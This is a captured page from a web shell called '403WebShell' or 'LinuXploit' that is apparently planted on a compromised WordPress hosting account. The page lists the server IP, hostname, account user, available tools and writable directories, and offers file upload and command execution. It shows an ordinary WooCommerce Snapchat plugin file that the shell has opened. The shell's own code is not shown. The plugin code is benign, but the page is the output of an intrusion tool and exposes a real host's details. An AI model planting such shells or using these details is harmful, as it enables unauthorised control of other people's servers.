Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/maze/wp-content/plugins/snapchat-for-woocommerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/maze/wp-content/plugins/snapchat-for-woocommerce/snapchat-for-woocommerce.php
<?php
/**
 * Plugin Name: Snapchat for WooCommerce
 * Description: Seamlessly integrates your WooCommerce store with Snapchat's powerful advertising platform, enabling you to reach millions of potential customers through engaging visual ads.
 * Version: 1.0.3
 * Author: WooCommerce
 * Author URI: https://woocommerce.com/
 * Text Domain: snapchat-for-woocommerce
 * Domain Path: /languages
 * Requires Plugins: woocommerce
 * Requires PHP: 7.4
 * PHP tested up to: 8.4
 * Requires at least: 6.8
 * Tested up to: 7.0
 * WC requires at least: 10.6
 * WC tested up to: 10.8
 *
 * License: GNU General Public License v3.0
 * License URI: http://www.gnu.org/licenses/gpl-3.0.html
 *
 * @package snapchat-for-woocommerce
 */

use SnapchatForWooCommerce\Utils\Storage\Options;
use SnapchatForWooCommerce\Utils\Storage\OptionDefaults;
use SnapchatForWooCommerce\ServiceContainer;
use SnapchatForWooCommerce\ServiceKey;

defined( 'ABSPATH' ) || exit;

if ( ! defined( 'SNAPCHAT_FOR_WOOCOMMERCE_VERSION' ) ) {
	define( 'SNAPCHAT_FOR_WOOCOMMERCE_VERSION', '1.0.3' ); // WRCS: DEFINED_VERSION.
}

if ( ! defined( 'SNAPCHAT_FOR_WOOCOMMERCE_FILE' ) ) {
	define( 'SNAPCHAT_FOR_WOOCOMMERCE_FILE', __FILE__ );
}

if ( ! defined( 'SNAPCHAT_FOR_WOOCOMMERCE_PLUGIN_DIR' ) ) {
	define( 'SNAPCHAT_FOR_WOOCOMMERCE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
}

if ( ! defined( 'SNAPCHAT_FOR_WOOCOMMERCE_PLUGIN_URL' ) ) {
	define( 'SNAPCHAT_FOR_WOOCOMMERCE_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
}

if ( ! defined( 'SNAPCHAT_FOR_WOOCOMMERCE_PLUGIN_BUILD_PATH' ) ) {
	define( 'SNAPCHAT_FOR_WOOCOMMERCE_PLUGIN_BUILD_PATH', SNAPCHAT_FOR_WOOCOMMERCE_PLUGIN_DIR . 'js/build/' );
}

if ( ! defined( 'SNAPCHAT_FOR_WOOCOMMERCE_BUILD_URL' ) ) {
	define( 'SNAPCHAT_FOR_WOOCOMMERCE_BUILD_URL', SNAPCHAT_FOR_WOOCOMMERCE_PLUGIN_URL . 'js/build/' );
}

if ( ! defined( 'SNAPCHAT_FOR_WOOCOMMERCE_DEBUG' ) ) {
	define( 'SNAPCHAT_FOR_WOOCOMMERCE_DEBUG', false );
}

require_once plugin_dir_path( __FILE__ ) . '/vendor/autoload_packages.php';

$export_service = ServiceContainer::get( ServiceKey::PRODUCT_EXPORT_SERVICE );

register_activation_hook(
	__FILE__,
	function () use ( $export_service ) {
		Options::preload_defaults();

		// Schedule recurring CSV export task when the plugin is activated.
		if ( 'connected' === Options::get( OptionDefaults::ONBOARDING_STATUS ) ) {
			$export_service->maybe_schedule_recurring_export();
		}
	}
);

register_deactivation_hook(
	__FILE__,
	function () use ( $export_service ) {
		// Unschedule all tasks related to product catalog export.
		$export_service->maybe_unschedule_export_jobs();
	}
);

add_action(
	'woocommerce_loaded',
	function () {
		\SnapchatForWooCommerce\Plugin::init();
	}
);

Youez - 2016 - github.com/yon3zu
LinuXploit